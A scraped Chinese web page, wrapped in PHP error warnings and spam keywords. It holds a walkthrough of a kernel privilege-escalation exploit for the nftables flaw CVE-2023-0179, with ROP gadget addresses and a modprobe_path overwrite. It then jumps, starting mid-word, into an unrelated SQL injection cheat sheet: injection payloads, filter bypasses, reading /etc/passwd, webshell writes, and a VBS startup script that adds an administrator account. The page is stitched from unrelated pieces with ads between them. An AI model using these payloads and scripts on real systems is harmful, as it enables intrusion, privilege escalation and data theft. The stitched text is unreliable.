Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 中文日韩欧美,亚洲午夜在线观看,一区二区三区免费

          整合營銷服務(wù)商

          電腦端+手機(jī)端+微信端=數(shù)據(jù)同步管理

          免費(fèi)咨詢熱線:

          CVE-2023-0179提權(quán)利用

          在CVE-2023-0179-Nftables整型溢出中,分析了漏洞的成因,接下來分析漏洞的利用。

          漏洞利用

          根據(jù)漏洞成因可以知道,payload_eval_copy_vlan函數(shù)存在整型溢出,導(dǎo)致我們將vlan頭部結(jié)構(gòu)拷貝到寄存器(NFT_REG32_00-NFT_REG32_15),而該變量時存在與棧上的,因此可以覆蓋棧上的其余變量的。


          可以發(fā)現(xiàn)regs變量是無法覆蓋到返回地址。


          因此我們需要觀察源碼,jumpstack變量是在regs變量下方


          我們可以通過溢出regs變量覆蓋到jumpstack變量。


          那么接下來需要觀察一下nft_jumpstack結(jié)構(gòu)體中存在哪些變量

          struct nft_jumpstack {
              const struct nft_chain *chain;
              const struct nft_rule_dp *rule;
              const struct nft_rule_dp *last_rule;
          };
          • ? chain:用于指定在哪個流程進(jìn)行hook
          • ? rule:以什么樣的規(guī)則處理數(shù)據(jù)包
          • ? last_rule:規(guī)則可能不止一條,因此last_rule用于指向最后一條規(guī)則

          nft_jumpstack結(jié)構(gòu)體在nft_do_chain函數(shù)的作用如下,當(dāng)狀態(tài)寄存器被設(shè)置為JUMP條件時,意味著需要跳轉(zhuǎn)到其他chain進(jìn)行處理,因此需要先保存當(dāng)前chain的狀態(tài),這里與函數(shù)調(diào)用時保存棧時的處理一樣,估計(jì)因此才命名為jumpstack。并且使用一個全局變量stackptr用于確定保存的chain的先后順序。在保存完之后,就跳轉(zhuǎn)到目的chain,目的chain則是存儲在regs.verdict.chain中。

              ...
              switch (regs.verdict.code) {
              case NFT_JUMP:
                  if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE))
                      return NF_DROP;
                  jumpstack[stackptr].chain = chain;
                  jumpstack[stackptr].rule = nft_rule_next(rule);
                  jumpstack[stackptr].last_rule = last_rule;
                  stackptr++;
               case NFT_GOTO:
                  chain = regs.verdict.chain;
                  goto do_chain;
              ...

          還原chain的過程如下,通過遞減stackptr來取出存儲在jumpstack變量中存儲的chainrulelastrule,然后就會跳轉(zhuǎn)到next_rule對還原的rule,進(jìn)行rule的解析,這里需要注意的是在遍歷rule的時候,循環(huán)是通過rule < last_rule進(jìn)行遍歷的,因此我們在后續(xù)偽造last_rule的時候需要大于rule,否則是無法進(jìn)入循環(huán)內(nèi)部的。

              next_rule:
                  regs.verdict.code = NFT_CONTINUE;
                  for (; rule < last_rule; rule = nft_rule_next(rule)) {
                      nft_rule_dp_for_each_expr(expr, last, rule) {
                          if (expr->ops == &nft_cmp_fast_ops)
                              nft_cmp_fast_eval(expr, ?s);
                          else if (expr->ops == &nft_cmp16_fast_ops)
                              nft_cmp16_fast_eval(expr, ?s);
                          else if (expr->ops == &nft_bitwise_fast_ops)
                              nft_bitwise_fast_eval(expr, ?s);
                          else if (expr->ops != &nft_payload_fast_ops ||
                               !nft_payload_fast_eval(expr, ?s, pkt))
                              expr_call_ops_eval(expr, ?s, pkt);
          
                          if (regs.verdict.code != NFT_CONTINUE)
                              break;
                      }
              ...
              if (stackptr > 0) {
                      stackptr--;
                      chain = jumpstack[stackptr].chain;
                      rule = jumpstack[stackptr].rule;
                      last_rule = jumpstack[stackptr].last_rule;
                      goto next_rule;
                  }
              ...

          緊接著來看一下nft_rule_dp結(jié)構(gòu)體,可以發(fā)現(xiàn)第一個八個字節(jié)是一些標(biāo)志位組成的,而后續(xù)的八個字節(jié)則是用于存儲nft_expr結(jié)構(gòu)體的指針。

          struct nft_rule_dp {
              u64    is_last:1,
                              dlen:12,
                              handle:42; /* for tracing */
              unsigned char   data[]
                  __attribute__((aligned(__alignof__(struct nft_expr))));
          };

          然后可以看到nft_expr結(jié)構(gòu)體里存儲了函數(shù)指針,如果我們能夠篡改該函數(shù)指針就可以劫持程序流程。

          struct nft_expr {
              const struct nft_expr_ops *ops;
              unsigned char   data[]
                  __attribute__((aligned(__alignof__(u64))));
          };

          然后在這篇文章https://www.ctfiot.com/100156.html學(xué)習(xí)到了一個小技巧。使用`ptype /o struct xxx`就可以看到具體的結(jié)構(gòu)體信息與偏移。


          因此構(gòu)造的流程如下,首先我們通過漏洞溢出到nft_jumpstack結(jié)構(gòu)體,并且修改rule變量為可控內(nèi)容的地址同時需要將lastrule的值篡改為比rule更大的值,原因上述已經(jīng)說過。緊接著在可控內(nèi)容中偽造一個nft_rule_dp結(jié)構(gòu)體,第一個八字節(jié)是填充位,而第二個八字節(jié)是需要偽造的函數(shù)表指針,同樣的我們也將該指針篡改為可控內(nèi)容的地址,然后再該地址處偽造nft_expr,并且將ops變量指向我們想要執(zhí)行的函數(shù)即可。


          通過上述分析已經(jīng)知道了該如何通過漏洞完成程序流程的劫持,接下來需要分析如果偽造上述幾個結(jié)構(gòu)體。

          首先在nft_payload_copy_vlan函數(shù)中,漏洞點(diǎn)是將vlan頭的數(shù)據(jù)拷貝到指定的寄存器里面,而vlan頭的地址是低于寄存器的地址,這就會導(dǎo)致在拷貝完vlan頭后會將寄存器中的值也進(jìn)行拷貝的操作,而寄存器的值我們是能人為控制的,因此就可以完成偽造的操作。


          可以看到我們對NFT_REG32_00的賦值會覆蓋到jumpstack[7].rule的值,完成了對jumpstack結(jié)構(gòu)體的篡改,這里我們可以通過NFT_REG32_00 - NFT_REG32_15進(jìn)行賦值,緊接著查看jumpstack哪個值是被賦值。就可以知道哪個jumpstack可以被篡改。


          由于我們可以控制regs變量的值,我們可以首先泄露regs的地址,然后在regs上偽造rule即可。然后expr重新指向?yàn)?span style="color: #DD1144; --tt-darkmode-color: #DD1144;">jumpstack即可,這里采用了一個小技巧就是將last_rule設(shè)置為一個函數(shù)地址,由于函數(shù)地址的值是大于regs變量的地址值的,因此我們可以節(jié)約八個字節(jié)。


          但是這里有個問題就是我們只能控制八個字節(jié)的函數(shù)指針,因此是無法構(gòu)造一個完整的ROP鏈的,而內(nèi)核并不存在像用戶態(tài)下有one_gadget可以只利用八個字節(jié)就能完成利用,因此在這里必須使用棧遷移,遷移的目的是一段可以控制的內(nèi)存,那么這里選用的目的自然就是regs了。那么該如何找棧遷移的gadget呢?,這里我首先采用的使用利用vmlinux-to-elfbzImage的符號表提取出來,然后尋找對應(yīng)的gadgetgadget類型如下

          • ? mov rsp,xxx
          • ? push xxx;pop rsp
          • ? add rsp,xxx
          • ? xchg rsp,xxx

          上述指令都可以修改rsp寄存器,完成棧遷移的效果。

          首先通過vmlinux-to-elf ./bzImage ./vmlinux去提取出符號表


          然后通過ropper進(jìn)行gadget的提取,ropper --file ./vmlinux --nocolor > g

          最后這在搜索gadgetcat g | grep 'add rsp.*ret',但是通過嘗試發(fā)現(xiàn)下述的地址都沒辦法使用,因?yàn)橄率龅刂范疾痪邆淇蓤?zhí)行的權(quán)限。


          然后嘗試了搜索上述所有的gadget,我都沒有找到可以用的gadget,唯一比較接近的gadgetpop rsi的,但是無法控制rsi的寄存器,其實(shí)這里一開始我使用的鏡像是自己編譯的,這里搜索的gadget是需要控制rdi寄存器的,經(jīng)過多次嘗試無果后才使用了作者的config文件重新編譯發(fā)現(xiàn)還是不可行。


          其實(shí)我們在編譯內(nèi)核文件時是存在vmlinux文件的,但是那個文件十分的大,使用ropper工具無法分析,就在我準(zhǔn)備放棄的時候,想到使用objdump工具進(jìn)行gadget的提取

          使用objdump -d -M intel vmlinux > ./gadget.txt

          • ? -ddump代碼
          • ? -M是指定匯編代碼的格式

          objdump提取的速度非常快,提取代碼如下,但是它沒有ropper搜索gadget那么方便,但是會全的多


          這里我首先嘗試了搜索棧遷移的gadgetcat gadget.txt | grep -E 'add rsp.*'


          可以發(fā)現(xiàn)有非常多的匹配的gadget,接著我們在gdb中驗(yàn)證可以使用的gadget,通常在棧進(jìn)行還原的時候會用到add rsp,xxx,因此都是有效的gadget,然后就是計(jì)算棧頂與resg函數(shù)地址的差值找到相應(yīng)的棧遷移gadget即可。


          接下就是考慮如何進(jìn)行提權(quán)的利用了,雖然我們可以控制regs但是可控的范圍也只有0x40是不足于采用commit_creds(prepare_kernel_cred(0))設(shè)置root憑證然后返回到用戶空間執(zhí)行后門的。那么相當(dāng)?shù)囊粋€辦法就是通過覆蓋modprobe_path進(jìn)行提權(quán)。這里我找了下列gadget進(jìn)行modprobe_path的覆蓋,將rdi設(shè)置為modprobe_pathrax設(shè)置為覆蓋后的路徑即可。

                  0xffffffff810d1e6b: mov qword ptr [rdi], rax; ret; 
                  0xffffffff81004165: pop rdi; pop rbp; ret

          最后就是覆蓋完modprobe_path該如何返回到用戶態(tài),因?yàn)?span style="color: #DD1144; --tt-darkmode-color: #DD1144;">modprobe_path的提權(quán)需要在用戶態(tài)下執(zhí)行非法文件頭的文件,這里作者采用的是將棧還原,通過在rbp中的地址值覆蓋會rsp中即可,采用下述gadget

                  0xffffffff810b47f0: mov rsp, rbp; pop rbp; ret;


          但是在我的環(huán)境下直接返回不行,這是因?yàn)樵诜祷氐?/span> nf_hook_slow函數(shù)時,有對狀態(tài)碼的一個檢驗(yàn),而在上述覆蓋modprobe_path時,我們設(shè)置了rax值,就導(dǎo)致無法將狀態(tài)碼設(shè)置成合法值。那分支就會跳轉(zhuǎn)到default,導(dǎo)致報(bào)錯。在嘗試搜索了gadget之后,可以將rax設(shè)置為0,但是這回進(jìn)入到NF_DROP分支 中,但是此時skb變量也被我們破壞了,無法正常執(zhí)行。

          int nf_hook_slow(struct sk_buff *skb, struct nf_hook_state *state,
                   const struct nf_hook_entries *e, unsigned int s)
          {
              unsigned int verdict;
              int ret;
          
              for (; s < e->num_hook_entries; s++) {
                  verdict = nf_hook_entry_hookfn(&e->hooks[s], skb, state);
                  switch (verdict & NF_VERDICT_MASK) {
                  case NF_ACCEPT:
                      break;
                  case NF_DROP:
                      kfree_skb_reason(skb,
                               SKB_DROP_REASON_NETFILTER_DROP);
                      ret = NF_DROP_GETERR(verdict);
                      if (ret == 0)
                          ret = -EPERM;
                      return ret;
                  case NF_QUEUE:
                      ret = nf_queue(skb, state, s, verdict);
                      if (ret == 1)
                          continue;
                      return ret;
                  default:
                      /* Implicit handling for NF_STOLEN, as well as any other
                       * non conventional verdicts.
                       */
                      return 0;
                  }
              }
          
              return 1;
          }

          在嘗試很久之后,最終放棄正常返回的這個選項(xiàng),然后我在rbp中搜索是否有合適的返回地址。最后在rbp中我找到了一個do_softirq函數(shù)


          該函數(shù)是一個軟中斷處理的函數(shù),當(dāng)時我就猜想,如果這個函數(shù)返回了,應(yīng)該不會影響程序的執(zhí)行。


          嘗試運(yùn)行之后,發(fā)現(xiàn)還是有內(nèi)核異常,頓時有點(diǎn)失望。


          但是在操控命令行的時候是能夠正常輸入命令的,說明我們成功返回到用戶態(tài)了。


          最后就是查看是否將新用戶寫入到/etc/passwd中了,最終完成寫入。完結(jié)撒花。


          完整exp可以參考https://github.com/h0pe-ay/Vulnerability-Reproduction/blob/master/CVE-2023-0179(nftables)/poc.c

          礎(chǔ)注入

          聯(lián)合查詢

          ?若前面的查詢結(jié)果不為空,則返回兩次查詢的值:

          ?若前面的查詢結(jié)果為空,則只返回union查詢的值:

          ?關(guān)鍵字union select

          ?需要字段數(shù)對應(yīng)

          常用Payload:

          # 查詢表名
          ' union select group_concat(table_name) from information_schema.tables where table_schema=database()%23
          # 查詢字段名
          ' union select group_concat(column_name) from information_schema.columns where table_name='table1'%23

          報(bào)錯注入

          報(bào)錯注入是利用mysql在出錯的時候會引出查詢信息的特征,常用的報(bào)錯手段有如下10種:

          # 修改select user() 字段 獲取不同的信息

          # 1.floor()
          select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

          # 2.extractvalue()
          select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

          # 3.updatexml()
          select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

          # 4.geometrycollection()
          select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

          # 5.multipoint()

          select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

          6.polygon()

          select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

          7.multipolygon()

          select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

          8.linestring()

          select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

          9.multilinestring()

          select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

          10.exp()

          select * from test where id=1 and exp(~(select * from(select user())a));

          布爾盲注

          常見的布爾盲注場景有兩種,一是返回值只有True或False的類型,二是Order by盲注。

          返回值只有True或False的類型

          如果查詢結(jié)果不為空,則返回True(或者是Success之類的),否則返回False

          這種注入比較簡單,可以挨個猜測表名、字段名和字段值的字符,通過返回結(jié)果判斷猜測是否正確

          例:parameter=’ or ascii(substr((select database()) ,1,1))<115—+

          Orderby盲注

          order by rand(True)和order by rand(False)的結(jié)果排序是不同的,可以根據(jù)這個不同來進(jìn)行盲注:

          例:order by rand(database()='pdotest')

          返回了True的排序,說明database()=’pdotest’是正確的值

          時間盲注

          其實(shí)大多數(shù)頁面,即使存在sql注入也基本是不會有回顯的,因此這時候就要用延時來判斷查詢的結(jié)果是否正確。

          常見的時間盲注有:

          1.sleep(x)

          id=' or sleep(3)%23

          id=' or if(ascii(substr(database(),1,1))>114,sleep(3),0)%23

          查詢結(jié)果正確,則延遲3秒,錯誤則無延時。

          2.benchmark()

          通過大量運(yùn)算來模擬延時:

          id=' or benchmark(10000000,sha(1))%23

          id=' or if(ascii(substr(database(),1,1))>114,benchmark(10000000,sha(1)),0)%23

          本地測試這個值大約可延時3秒:

          3.笛卡爾積

          計(jì)算笛卡爾積也是通過大量運(yùn)算模擬延時:

          select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C

          select balabala from table1 where '1'='2' or if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0)

          笛卡爾積延時大約也是3秒

          HTTP頭注入

          注入手法和上述相差不多,就是注入點(diǎn)發(fā)生了變化

          HTTP分割注入

          常見場景,登錄處SQL語句如下,注釋符號被過濾

          select xxx from xxx where username=’xxx’ and password=’xxx’

          # 方法一
          username=1' or extractvalue/*
          password=1*/(1,concat(0x7e,(select database()),0x7e))or'

          SQL語句最終變?yōu)?br>select xxx from xxx where username='1' or extractvalue
          /*’ and password=’*/(1,concat(0x7e,(select database()),0x7e))or''

          # 方法二
          username=1' or if(ascii(substr(database(),1,1))=115,sleep(3),0) or '1
          password=1
          select * from users where username='1' or if(ascii(substr(database(),1,1))>0,sleep(3),0) or '1' and password='1'

          二次注入

          二次注入主要出現(xiàn)在update和select結(jié)合點(diǎn),如注冊之后在登錄

          攻擊者構(gòu)造的惡意payload首先會被服務(wù)器存儲在數(shù)據(jù)庫中,在之后取出數(shù)據(jù)庫在進(jìn)行SQL語句拼接時產(chǎn)生的SQL注入問題

          SQL約束攻擊

          假如注冊時username參數(shù)在mysql中為字符串類型,并且有unique屬性,設(shè)置了長度為VARCHAR(20)。

          則我們注冊一個username為admin[20個空格]asd的用戶名,則在mysql中首先會判斷是否有重復(fù),若無重復(fù),則會截取前20個字符加入到數(shù)據(jù)庫中,所以數(shù)據(jù)庫存儲的數(shù)據(jù)為admin[20個空格],而進(jìn)行登錄的時候,SQL語句會忽略空格,因此我們相當(dāng)于覆寫了admin賬號。

          基礎(chǔ)繞過

          大小寫繞過

          用于過濾時沒有匹配大小寫的情況:

          SelECt * from table;

          雙寫繞過

          用于將禁止的字符直接刪掉的過濾情況如:

          preg_replace(‘/select/‘,’’,input)

          則可用seselectlect from xxx來繞過,在刪除一個select后剩下的就是select from xxx


          【——全網(wǎng)最全的網(wǎng)絡(luò)安全學(xué)習(xí)資料包分享給愛學(xué)習(xí)的你,關(guān)注我,私信回復(fù)“資料領(lǐng)取”獲取——】
          1.網(wǎng)絡(luò)安全多個方向?qū)W習(xí)路線
          2.全網(wǎng)最全的CTF入門學(xué)習(xí)資料
          3.一線大佬實(shí)戰(zhàn)經(jīng)驗(yàn)分享筆記
          4.網(wǎng)安大廠面試題合集
          5.紅藍(lán)對抗實(shí)戰(zhàn)技術(shù)秘籍
          6.網(wǎng)絡(luò)安全基礎(chǔ)入門、Linux、web安全、滲透測試方面視頻


          繞過空格

          當(dāng)空格被過濾時,可以使用/**/ () %0a %09進(jìn)行繞過

          使用16進(jìn)制繞過特定字符

          如果在查詢字段名的時候表名被過濾,或是數(shù)據(jù)庫中某些特定字符被過濾,則可用16進(jìn)制繞過:

          select column_name from information_schema.columns where table_name=0x7573657273;

          0x7573657273為users的16進(jìn)制

          只能針對表名,字段名等,內(nèi)置函數(shù)關(guān)鍵字,不能使用16進(jìn)制替代

          寬字節(jié)、Latin1默認(rèn)編碼

          寬字節(jié)注入

          用于單引號被轉(zhuǎn)義,但編碼為gbk編碼的情況下,用特殊字符將其與反斜杠合并,構(gòu)成一個特殊字符:

          username = %df'#
          經(jīng)gbk解碼后變?yōu)椋?br>select * from users where username ='運(yùn)'#

          成功閉合了單引號。

          Latin1編碼

          Mysql表的編碼默認(rèn)為latin1,如果設(shè)置字符集為utf8,則存在一些latin1中有而utf8中沒有的字符,而Mysql是如何處理這些字符的呢?直接忽略

          于是我們可以輸入?username=admin%c2,存儲至表中就變?yōu)榱薬dmin

          上面的%c2可以換為%c2-%ef之間的任意字符

          常見字符的替代

          and -> &&
          or -> ||
          空格-> /**/ -> %a0 -> %0a -> +
          # -> --+ -> ;%00(php<=5.3.4) -> or '1'='1
          = -> like -> regexp -> <> -> in
          注:regexp為正則匹配,利用正則會有些新的注入手段

          逗號被過濾

          # 用join代替:
          -1 union select 1,2,3
          -1 union select * from (select 1)a join (select 2)b join (select 3)c%23

          # limit:
          limit 2,1
          limit 1 offset 2

          # substr:
          substr(database(),5,1)
          substr(database() from 5 for 1) from為從第幾個字符開始,for為截取幾個
          substr(database() from 5)
          # 如果for也被過濾了
          mid(REVERSE(mid(database()from(-5)))from(-1)) reverse是反轉(zhuǎn),mid和substr等同

          # if:
          if(database()=’xxx’,sleep(3),1)
          id=1 and databse()=’xxx’ and sleep(3)
          select case when database()=’xxx’ then sleep(5) else 0 end

          limit被過濾

          select user from users limit 1

          加限制條件,如:

          select user from users group by user_id having user_id = 1 (user_id是表中的一個column)

          information_schema被過濾

          innodb引擎可用mysql.innodb_table_stats、innodb_index_stats,日志將會把表、鍵的信息記錄到這兩個表中

          除此之外,系統(tǒng)表sys.schema_table_statistics_with_buffer、sys.schema_auto_increment_columns用于記錄查詢的緩存,某些情況下可代替information_schema

          文件讀寫

          讀寫權(quán)限

          在進(jìn)行MySQL文件讀寫操作之前要先查看是否擁有權(quán)限,mysql文件權(quán)限存放于mysql表的file_priv字段,對應(yīng)不同的User,如果可以讀寫,則數(shù)據(jù)庫記錄為Y,反之為N:

          我們可以通過user()查看當(dāng)前用戶是什么,如果對應(yīng)用戶具有讀寫權(quán)限,則往下看,反之則放棄這條路找其他的方法。

          除了要查看用戶權(quán)限,還有一個地方要查看,即secure-file-priv。它是一個系統(tǒng)變量,用于限制讀寫功能,它的值有三種:

          (1)無內(nèi)容,即無限制

          (2)為NULL,表示禁止文件讀寫

          (3)為目錄名,表示僅能在此目錄下讀寫

          該配置項(xiàng)存放在my.ini中,修改之后必須重啟mysql重新加載配置文件

          讀文件

          如果滿足上述2個條件,則可嘗試讀寫文件了。

          常用的讀文件的語句有如下幾種:

          select load_file(file_path);
          load data infile "/etc/passwd" into table 庫里存在的表名 FIELDS TERMINATED BY 'n'; #讀取服務(wù)端文件
          load data local infile "/etc/passwd" into table 庫里存在的表名 FIELDS TERMINATED BY 'n'; #讀取客戶端文件

          需要注意的是,file_path必須為絕對路徑,且反斜杠需要轉(zhuǎn)義:

          寫文件

          select 1,"" into outfile '/var/www/html/1.php';
          select 2,"" into dumpfile '/var/www/html/1.php';

          當(dāng)secure_file_priv值為NULL時,可用生成日志的方法繞過:

          set global general_log_file = '/var/www/html/1.php';
          set global general_log = on;

          日志除了general_log還有其他許多日志,實(shí)際場景中需要有足夠的寫入日志的權(quán)限,且需要堆疊注入的條件方可采用該方法,因此利用非常困難。

          DNS外帶注入

          若用戶訪問DNS服務(wù)器,則會在DNS日志中留下記錄。如果請求中帶有SQL查詢的信息,則信息可被帶出到DNS記錄中。

          利用條件:

          1.secure_file_priv為空且有文件讀取權(quán)限

          2.目標(biāo)為windows(利用了UNC,Linux不可行)

          3.無回顯且無法時間盲注

          利用方法:

          可以找一個免費(fèi)的DNSlog:http://pan.dns.outnet/index.php?mod=shares&sid=R1ZXZ0UwdTJuSjVxZEVxd1JCc0E0TWl1VzZ1NjVOWW91Z3U2RExF


          找到一個非常nice的入門課程,復(fù)制鏈接即可報(bào)名:

          https://mp.weixin.qq.com/s/1gI0LnWdYbyArC8v58Yikw


          方法二:ntunnel_mysql.php

          Navicat內(nèi)置的php-mysq鏈接文件,上傳到目標(biāo)網(wǎng)站


          對navicat進(jìn)行如下配置即可:


          方法三:蟻劍內(nèi)置插件


          啟動項(xiàng)提權(quán)

          windows開機(jī)時候都會有一些開機(jī)啟動的程序,那時候啟動的程序權(quán)限都是system,因?yàn)槭莝ystem把他們啟動的,利用這點(diǎn),我們可以將自動化腳本寫入啟動項(xiàng),達(dá)到提權(quán)的目的。當(dāng) Windows 的啟動項(xiàng)可以被 MySQL 寫入的時候可以使用 MySQL 將自定義腳本導(dǎo)入到啟動項(xiàng)中,這個腳本會在用戶登錄、開機(jī)、關(guān)機(jī)的時候自動運(yùn)行。

          在windows2003的系統(tǒng)下,啟動項(xiàng)路徑如下:
          C:\Documents and Settings\Administrator\「開始」菜單\程序\啟動
          C:\Documents and Settings\All Users\「開始」菜單\程序\啟動

          在windows2008的系統(tǒng)下,啟動項(xiàng)路徑如下:
          C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
          C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

          我們在拿到一個網(wǎng)站的webshell的時候如果想進(jìn)一步的獲得網(wǎng)站的服務(wù)器權(quán)限,查看服務(wù)器上系統(tǒng)盤的可讀可寫目錄,若是啟動目錄 C:\Users\用戶名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 是可讀可寫的,我們就可以執(zhí)行上傳一個vbs或者bat的腳本進(jìn)行提權(quán)。

          這里使用test.vbs添加用戶密碼,上傳到啟動目錄重啟的時候即可自動添加賬號密碼

          set wshshell=createobject("wscript.shell")
          a=wshshell.run("cmd.exe /c net user test test123 /add",0)
          b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)

          通過mysql的話:

          use mysql;
          create table test(cmd text);
          insert into a values(“set wshshell=createobject(“”wscript.shell””)”);
          insert into a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0)”);
          insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0)”);
          select * from a into outfile “C:\Documents and Settings\All Users\「開始」菜單\程序\啟動\secist.vbs”;

          重啟之后可以提權(quán)

          CVE-2016-6663和CVE-2016-6664

          https://lengjibo.github.io/mysqludf/

          MSSQL

          MSSQL基礎(chǔ)

          系統(tǒng)自帶庫

          MSSQL安裝后默認(rèn)帶了六個數(shù)據(jù)庫

          ?4個系統(tǒng)庫:master、model、tempdb和msdb;

          ?2個示例庫:NorthwindTraders和pubs

          系統(tǒng)自帶庫

          功能

          master

          系統(tǒng)控制數(shù)據(jù)庫,包含所有配置信息,用戶登錄信息,當(dāng)前系統(tǒng)運(yùn)行情況

          model

          模板數(shù)據(jù)庫,數(shù)據(jù)庫時建立所有數(shù)據(jù)庫的模板。

          tempdb

          臨時容器,保存所有的臨時表,存儲過程和其他程序交互的臨時文件

          msdb

          主要為用戶使用,記錄著計(jì)劃信息、事件處理信息、數(shù)據(jù)備份、警告以及異常信息

          系統(tǒng)視圖表

          MSSQL數(shù)據(jù)庫有安裝的自帶數(shù)據(jù)表:

          視圖表

          功能

          sysobjects

          記錄了數(shù)據(jù)庫中所有表,常用字段為id、name和xtype

          syscolumns

          記錄了數(shù)據(jù)庫中所有表的字段,常用字段為id、name和xtype

          sys.databases

          SQL Server 中所有的數(shù)據(jù)庫

          sys.sql_logins

          SQL Server 中所有的登錄名

          information_schema.tables

          當(dāng)前用戶數(shù)據(jù)庫的表

          information_schema.columns

          當(dāng)前用戶數(shù)據(jù)庫的列

          sys.all_columns

          用戶定義和系統(tǒng)對象的所有列的聯(lián)合

          sys.database_principals

          數(shù)據(jù)庫中每個權(quán)限或列異常權(quán)限

          sys.database_files

          存儲在數(shù)據(jù)庫中數(shù)據(jù)庫文件

          MSSQL權(quán)限控制

          ?服務(wù)器角色

          固定服務(wù)器角色

          權(quán)限

          sysadmin(最高服務(wù)器角色)

          執(zhí)行SQL Server中的任何動作

          serveradmin

          配置服務(wù)器設(shè)置

          setupadmin

          安裝復(fù)制和管理擴(kuò)展過程

          securityadmin

          管理登錄和Create database的權(quán)限以及閱讀審計(jì)

          processadmin

          管理SQL Server進(jìn)程

          dbcreator

          創(chuàng)建和修改數(shù)據(jù)庫

          diskadmin

          管理磁盤文件

          可以通過如下語句判斷:

          select is_srvrolemember('sysadmin')


          ?數(shù)據(jù)庫角色

          固定數(shù)據(jù)庫角色

          權(quán)限

          db_owner( 最高權(quán)限)

          可以執(zhí)行數(shù)據(jù)庫中所有動作的用戶

          db_accessadmin

          可以添加、刪除用戶的用戶

          db_datareader

          可以查看所有數(shù)據(jù)庫中用戶表內(nèi)數(shù)據(jù)的用戶

          db_datawriter

          可以添加、修改、刪除所有數(shù)據(jù)庫中用戶表內(nèi)數(shù)據(jù)的用戶

          db_ddladmin

          可以在數(shù)據(jù)庫注重執(zhí)行所有DDL操作的用戶

          db_securityadmin

          可以管理數(shù)據(jù)庫中與安全權(quán)限有關(guān)所有動作的用戶

          db_backoperator

          可以備份數(shù)據(jù)庫的用戶

          db_denydatareader

          不能看到數(shù)據(jù)庫中任何數(shù)據(jù)的用戶

          db_denydatawriter

          不能改變數(shù)據(jù)庫中任何數(shù)據(jù)的用戶

          可以通過如下語句判斷:

          select is_member('db_owner')


          MSSQL常用語句

          # 創(chuàng)建數(shù)據(jù)庫
          create database [dbname];
          create database test;

          # 刪除數(shù)據(jù)庫
          drop database [dbname];
          drop database test;

          # 創(chuàng)建新表
          create table table_name (name char(10),age tinyint,sex int);
          # 創(chuàng)建新表前要選擇數(shù)據(jù)庫,默認(rèn)是master庫
          use test;
          create table admin (users char(255),passwd char(255),sex int);

          # 刪除新表
          drop table table_name;
          drop table dbo.admin;

          # 向表中插入數(shù)據(jù)
          insert into table_name (column1,column2) values(value1,value2);
          insert into admin (users,passwd,sex) values('admin','admin',1);

          # 刪除內(nèi)容
          delete from table_name where column1=value1;
          delete from admin where sex=2;

          # 更新內(nèi)容
          update table_name set column2=”xxx” where column1=value1;
          update admin set users='admintest' where sex=2;

          # 查找內(nèi)容
          select * from table_name where column1=value1;
          select passwd from admin where users='admin';


          ?排序&獲取下一條數(shù)據(jù)

          –MSSQL數(shù)據(jù)庫中沒有l(wèi)imit排序獲取字段,但是可以使用top 1來顯示數(shù)據(jù)中的第一條數(shù)據(jù),

          –使用 <> 來排除已經(jīng)顯示的數(shù)據(jù),獲取下一條數(shù)據(jù),也就是不等于的意思。

          –使用not in來排除已經(jīng)顯示的數(shù)據(jù),獲取下一條數(shù)據(jù) ,后面可以跟一個集合。

          # 使用<>獲取數(shù)據(jù)
          id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name<>'id' and name<>'username'
          --+
          # 使用not in獲取數(shù)據(jù)
          id=-2 union select top 1 1,table_name from information_schema.tables where table_name not in(select top 1 table_name from information_schema.tables)
          --+
          id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name not in('id','username')
          --+

          MSSSQL注釋

          單行:--空格
          多行:
          /**/

          常用函數(shù)

          名稱

          功能

          suser_name()

          用戶登錄名

          user_name()

          用戶在數(shù)據(jù)庫中的名字

          user

          用戶在數(shù)據(jù)庫中的名字

          db_name()

          數(shù)據(jù)庫名

          @@version

          返回SQL服務(wù)器版本相關(guān)信息

          quotename()

          在存儲過程中,給列名、表名等加個[]、’’等以保證sql語句能正常執(zhí)行

          WAITFOR DELAY '0:0:n'

          '時:分:秒',WAITFOR DELAY '0:0:5'表示等待5秒后執(zhí)行

          substring()

          截取字符串 substr(字符串,開始截取位置,截取長度) ,例如substring('abcdef',1,2) 表示從第一位開始,截取2位,即 'ab'

